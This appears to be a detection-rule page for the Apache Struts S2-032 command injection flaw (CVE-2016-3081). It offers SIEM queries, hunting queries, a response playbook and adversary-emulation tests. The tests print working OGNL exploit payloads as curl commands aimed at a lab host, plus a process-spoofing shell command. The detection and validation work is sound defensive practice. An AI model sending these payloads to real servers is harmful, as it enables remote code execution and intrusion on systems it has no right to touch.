CVE-2016-3081

Apache Struts REST Plugin / S2-032 Command Injection (CVE-2016-3081)

Initial Access Execution Last updated:

Detects exploitation of CVE-2016-3081 (Apache Struts S2-032), a remote command injection flaw in the Struts REST plugin / dynamic method invocation. When Dynamic Method Invocation (DMI) is enabled, an attacker can supply a crafted 'method:' prefixed parameter containing an OGNL expression that is evaluated by the framework, resulting in arbitrary command execution on the server. This detection looks for HTTP requests whose URI, query string or POST body contain the tell-tale 'method:' OGNL payload markers (e.g. getRuntime().exec, _memberAccess, ProcessBuilder, multipart/form-data crafted payloads) and for anomalous child processes spawned by the Java/Tomcat process hosting the Struts application. CVE-2016-3081 is on the CISA KEV catalog and has public exploit code (Exploit-DB 39756).

Vulnerability Intelligence

KEV — Known Exploited

What is CVE-2016-3081 Apache Struts REST Plugin / S2-032 Command Injection (CVE-2016-3081)?

Apache Struts REST Plugin / S2-032 Command Injection (CVE-2016-3081) (CVE-2016-3081) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Apache Struts REST Plugin / S2-032 Command Injection (CVE-2016-3081), covering the data sources and telemetry it touches: IIS Logs, Azure App Service HTTP Logs, Web Proxy. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
let struts_markers = dynamic(["method:","getRuntime()",".exec(","ProcessBuilder","_memberAccess","@java.lang.Runtime@","#context","ognl"]);
let decode = (s:string){ url_decode(s) };
union
(
  W3CIISLog
  | extend rawUri = strcat(tostring(csUriStem), "?", tostring(csUriQuery))
  | extend decoded = tolower(decode(rawUri))
),
(
  AppServiceHTTPLogs
  | extend decoded = tolower(decode(strcat(tostring(CsUriStem), "?", tostring(CsUriQuery))))
  | extend csMethod = CsMethod, sIp = tostring(CIp)
)
| where decoded has_any (struts_markers) and decoded contains "method:"
| where decoded has_any (dynamic(["getruntime","processbuilder","_memberaccess","@java.lang.runtime@",".exec("]))
| project TimeGenerated, csMethod, decoded, sIp
| order by TimeGenerated desc

Finds IIS/App Service HTTP logs where a URI or query string contains a Struts DMI 'method:' prefix combined with OGNL command-execution markers, indicating CVE-2016-3081 exploitation attempts.

critical severity high confidence

Data Sources

IIS Logs Azure App Service HTTP Logs Web Proxy

Required Tables

W3CIISLog AppServiceHTTPLogs

False Positives

  • Legitimate application parameters that happen to contain the literal string 'method:' without OGNL content
  • Security scanners (Nessus, Qualys, Burp) actively probing for S2-032 during authorized assessments
  • WAF or IDS replay/test traffic containing stored exploit signatures

Sigma rule & cross-platform mapping

The detection logic for Apache Struts REST Plugin / S2-032 Command Injection (CVE-2016-3081) (CVE-2016-3081) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Struts S2-032 method: OGNL command injection via GET

    Expected signal: Web access log entry containing 'method:' and OGNL markers; Java/Tomcat spawning an 'id' child process.

  2. Test 2Struts S2-032 OGNL injection via POST body

    Expected signal: Access/WAF log with decoded 'method:' OGNL payload; endpoint shows java -> whoami process ancestry.

  3. Test 3Struts post-exploitation child process simulation

    Expected signal: ProcessRollup2 / endpoint process events showing catalina.sh spawning id, whoami and curl.


Response Playbook

Triage

  1. Confirm the affected host runs Apache Struts 2.3.19–2.3.28 with the REST plugin or Dynamic Method Invocation enabled; check struts.xml for struts.enable.DynamicMethodInvocation=true.
  2. URL-decode the captured request and confirm the 'method:' parameter carries an OGNL expression (getRuntime, ProcessBuilder, _memberAccess) rather than a benign literal.
  3. Determine whether the request returned HTTP 200 and whether a matching anomalous child process was spawned by the Java/Tomcat process within ~2 minutes, indicating successful execution vs. a blocked probe.
  4. Identify the source IP, geolocation and whether it belongs to an authorized scanner or known-bad infrastructure.

Containment

  1. Isolate or network-segment the affected Struts host to prevent lateral movement and C2 callbacks.
  2. Block the attacker source IP(s) at the perimeter/WAF and deploy a WAF signature blocking 'method:' OGNL payloads as an interim mitigation.
  3. Disable Dynamic Method Invocation (struts.enable.DynamicMethodInvocation=false) and/or the REST plugin until patching is complete.

Evidence Collection

  1. Preserve the full web server access logs, WAF logs and the raw decoded request body for the exploitation window.
  2. Capture the Java/Tomcat process tree, spawned child process command lines, and any dropped files or webshells under the webapp directory.
  3. Collect memory and disk images of the affected host before remediation if compromise is confirmed.

Escalation Criteria

  • ! Escalate to IR if a child process (shell, whoami, curl, wget, nc) was spawned by the Java/Tomcat parent following the request.
  • ! Escalate if a webshell, new scheduled task/cron job, new local account, or outbound C2 connection is discovered on the host.
  • ! Escalate if the exploited host has access to sensitive data stores, domain credentials, or internal management networks.

Investigation Guide

Forensic Artifacts

  • > Web server/WAF access logs containing 'method:' OGNL payloads
  • > Java/Tomcat process tree with anomalous shell children
  • > Newly created files (webshells, scripts) under the Struts webapp deployment directory
  • > Catalina/application logs showing OGNL evaluation errors or stack traces

Tuning Guidance

Baseline legitimate application parameters that may contain the literal 'method:' string and exclude them. Whitelist authorized scanner source IPs. Tighten precision by requiring both the 'method:' prefix AND an OGNL operator (getRuntime, ProcessBuilder, _memberAccess, @java.lang.Runtime@). Pair the HTTP-layer detections with the endpoint process-ancestry rules to confirm successful execution and suppress blocked-probe noise.


Hunting Queries

Hunt for repeated Struts DMI OGNL injection attempts grouped by source IP to identify active exploitation campaigns.

Hunting — KQL
kql
W3CIISLog | extend d=tolower(url_decode(strcat(csUriStem,"?",csUriQuery))) | where d contains "method:" and d has_any("getruntime","processbuilder","_memberaccess") | summarize count() by cIP, bin(TimeGenerated,1h)
Hunting — SPL
spl
sourcetype=iis OR sourcetype=apache:access | eval d=urldecode(lower(_raw)) | where like(d,"%method:%") AND (like(d,"%getruntime%") OR like(d,"%processbuilder%")) | stats count by clientip

Atomic Red Team Tests

Test 1 Struts S2-032 method: OGNL command injection via GET
linux

Sends a crafted GET request with a 'method:' OGNL payload invoking Runtime.exec against a lab Struts instance.

Command

bash
curl -s 'http://struts-lab.local:8080/struts2-showcase/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get(%23parameters.rpsobj%5B0%5D),%23w.getWriter().println(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream())&cmd=id&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponseAware'

Cleanup

bash
echo 'no cleanup required for request-only test'

Expected Telemetry

Web access log entry containing 'method:' and OGNL markers; Java/Tomcat spawning an 'id' child process.

Expected Detection

kql/spl/qradar_aql/sumo_logic/chronicle_yaral HTTP rules fire on the payload; elastic_eql/crowdstrike_cql fire on the resulting child process.

Test 2 Struts S2-032 OGNL injection via POST body
linux

Delivers the method: OGNL payload in a POST body to exercise body-based inspection.

Command

bash
curl -s -X POST 'http://struts-lab.local:8080/struts2-showcase/index.action' --data-urlencode 'method:#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRuntime().exec("whoami")'

Cleanup

bash
echo 'no cleanup required'

Expected Telemetry

Access/WAF log with decoded 'method:' OGNL payload; endpoint shows java -> whoami process ancestry.

Expected Detection

HTTP-layer SIEM rules match on body/URL markers; EDR rules match the whoami child process.

Test 3 Struts post-exploitation child process simulation
linux

Simulates the post-exploitation behavior by having a Tomcat-named parent spawn a shell, validating the endpoint ancestry rules independently of a live Struts target.

Command

bash
cp /bin/bash /tmp/catalina.sh && /tmp/catalina.sh -c 'id; whoami; curl -s http://example.com/x'

Cleanup

bash
rm -f /tmp/catalina.sh

Expected Telemetry

ProcessRollup2 / endpoint process events showing catalina.sh spawning id, whoami and curl.

Expected Detection

crowdstrike_cql and elastic_eql process-ancestry rules fire on the suspicious child processes.

Related Detections